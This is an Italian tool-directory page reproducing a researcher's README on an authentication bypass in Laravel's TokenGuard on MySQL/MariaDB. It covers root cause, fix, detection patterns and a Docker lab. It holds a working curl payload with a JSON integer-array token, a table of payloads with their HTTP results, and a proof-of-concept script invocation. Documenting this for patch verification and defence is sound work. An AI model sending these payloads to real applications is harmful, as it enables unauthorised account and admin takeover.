Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-114509-laravel-tokenguard — Proof of concept, analisi della causa radice e laboratorio Docker per CVE-2026-114509, un bypass dell'autenticazione Laravel TokenGuard non autenticato su MySQL/MariaDB che porta alla compromissione dell'account. | Kitploit
Strumenti/GitHubGitHub/arioveisa/cve-2026-114509-laravel-tokenguard
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebAutenticazioneLab e Pratica
GitHubarioveisa/cve-2026-114509-laravel-tokenguard

cve-2026-114509-laravel-tokenguard

Proof of concept, analisi della causa radice e laboratorio Docker per CVE-2026-114509, un bypass dell'autenticazione Laravel TokenGuard non autenticato su MySQL/MariaDB che porta alla compromissione dell'account.

Vedi Repository
28 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    628
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    413
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    366
  • 5

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    329
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Motore OSINT basato sull'IA per scoprire e mappare oltre 7.700 identità sui social media in tutto il web

    287

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-114509 — Bypass dell'autenticazione in Laravel TokenGuard

Proof of concept, analisi e laboratorio riproducibile per CVE-2026-114509, un bypass dell'autenticazione non autenticato in TokenGuard di Laravel che porta alla compromissione dell'account quando l'applicazione viene eseguita su MySQL o MariaDB.

CampoValore
CVE IDCVE-2026-114509
AdvisoryGHSA-f9x3-7vq9-cph6
CVSS v4.09.2 (Critico) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H
CWECWE-1287 (Validazione impropria del tipo di input specificato), CWE-287 (Autenticazione impropria)
Affettolaravel/framework < 12.68.0, >= 13.0.0, < 13.29.0
Corretto in12.68.0, 13.29.0
VettoreCorpo JSON POST/GET con api_token come array di interi
ImpattoBypass dell'autenticazione, compromissione dell'account, divulgazione delle credenziali

TL;DR

Un TokenGuard configurato con driver => token e hash => false accetta una credenziale non stringa. Inviando {"api_token":[0]} come corpo JSON si fa sì che Laravel costruisca whereIn('api_token', [0]). MySQL esegue quindi un cast implicito della colonna varchar a intero, così ogni token che non inizia con una cifra viene valutato come 0 e corrisponde. La prima riga della tabella users viene restituita a un attaccante non autenticato.

curl -s -X GET http://target/api/user \
  -H "Accept: application/json" \
  -H "Content-Type: application/json" \
  -d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}

Causa principale

Per lo sfruttamento devono essere presenti contemporaneamente tre livelli indipendenti.

Livello 1 — La guardia non convalida il tipo di credenziale

src/Illuminate/Auth/TokenGuard.php (v11.43.0, build vulnerabile):

$token = $this->getTokenForRequest();

if (! empty($token)) {
    $user = $this->provider->retrieveByCredentials([
        $this->storageKey => $this->hash ? hash('sha256', $token) : $token,
    ]);
}

Solo empty() viene controllato. empty([0]) è false perché l'array contiene un solo elemento, quindi l'array passa direttamente al provider. Non esiste alcuna protezione is_string().

Livello 2 — Il provider espande gli array in una clausola IN

src/Illuminate/Auth/EloquentUserProvider.php:

foreach ($credentials as $key => $value) {
    if (is_array($value) || $value instanceof Arrayable) {
        $query->whereIn($key, $value);
    } elseif ($value instanceof Closure) {
        $value($query);
    } else {
        $query->where($key, $value);
    }
}

Un array viene interpretato come un elenco di valori candidati, quindi la query diventa:

select * from `users` where `api_token` in (0)

Livello 3 — MySQL e MariaDB forzano il confronto

api_token è una colonna varchar. Confrontare una colonna di tipo stringa con un intero forza un cast implicito del valore della colonna a numero:

select cast('admin_secret_token_12345' as unsigned);  -- 0
select cast('abc' as unsigned);                        -- 0
select cast('1abc' as unsigned);                       -- 1

Ogni token che inizia con una lettera viene convertito in 0, quindi where api_token in (0) corrisponde. PostgreSQL e SQLite rifiutano o si comportano in modo errato su questo confronto, motivo per cui la vulnerabilità è specifica ai database della famiglia MySQL.


Matrice di sfruttamento

Misurata sul lab in questo repository (Laravel 11.43.0, MySQL 8.0.46).

PayloadTrasportoHTTPRisultato
(nessuno)—401rifiutato
Bearer wrong_tokenheader401rifiutato
?api_token=wrongquery string401rifiutato
?api_token[]=0query string401rifiutato — sempre una stringa
{"api_token":0}corpo JSON401rifiutato — empty(0) è true
{"api_token":["0"]}corpo JSON401rifiutato — stringa vs varchar
{"api_token":[1]}corpo JSON401nessuna riga con valore cast 1
{"api_token":[0.5]}corpo JSON401mancata corrispondenza del cast float
{"api_token":[0]}corpo JSON200bypass
{"api_token":[0,1]}corpo JSON200bypass

Il payload deve arrivare come un vero array tipizzato. Le query string e la codifica dei form producono sempre stringhe, motivo per cui è necessario il corpo JSON.


Riproduzione

È incluso un lab Docker completo. Vedi docs/reproduction.md per la procedura completa, oppure eseguilo direttamente:

docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed

Aggiungi il nome host del lab a /etc/hosts:

echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts

Poi verifica:

./poc.sh http://angkasagroup.co.id

Impatto

  • Accesso non autenticato a ogni route protetta da auth:api
  • L'oggetto utente corrispondente viene restituito integralmente, inclusa la api_token in chiaro quando hash => false, il che rende la compromissione persistente
  • Nelle applicazioni in cui la prima riga di users è un amministratore, il bypass concede privilegi amministrativi
  • Concatenato con qualsiasi endpoint riservato agli amministratori, il risultato è l'estrazione completa dei dati

Remediation

Upgrade

composer require laravel/framework:^12.68

La correzione consiste in un singolo controllo di tipo:

if (is_string($token) && ! empty($token)) {

Mitigazioni temporanee

  1. Impostare 'hash' => true sulla guardia API. L'archiviazione con hash trasforma l'array in un TypeError invece di una corrispondenza.
  2. Sostituire TokenGuard con Laravel Sanctum o Passport, che risolvono i token tramite un indice hash dedicato anziché un whereIn non vincolato.
  3. Aggiungere un middleware che rifiuti qualsiasi richiesta in cui api_token non sia una stringa:
if (! is_string(request()->input('api_token'))) {
    abort(401);
}
  1. Limitare l'accesso al database in modo che le query di autenticazione non possano raggiungere un'istanza MySQL con coercizione di tipo permissiva.

Rilevamento

I log dell'applicazione mostreranno un'autenticazione riuscita senza un login precedente. Cercare corpi di richiesta JSON in cui api_token è un array anziché una stringa:

"api_token":[0]
"api_token":[1]

A livello di database, abilitare il general query log e configurare avvisi su:

where `api_token` in (0)

Struttura del repository

.
├── README.md              this document
├── docs/
│   ├── CVE-2026-114509.pdf    rendered analysis (this README)
│   └── reproduction.md        step-by-step lab walkthrough
├── docker-compose.yml     nginx + php-fpm + mysql lab
├── docker/
│   ├── Dockerfile
│   ├── nginx.conf
│   └── php.ini
├── src/                   Laravel 11.43.0 application
└── poc.sh                 verification script

Disclaimer

Questo repository esiste per la ricerca difensiva, la verifica delle patch e i test di sicurezza autorizzati. Eseguilo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a testare. L'accesso non autorizzato a sistemi informatici è un reato penale nella maggior parte delle giurisdizioni.

Il lab si associa a 127.0.0.1 ed è destinato esclusivamente all'uso locale.

Scarica lo strumento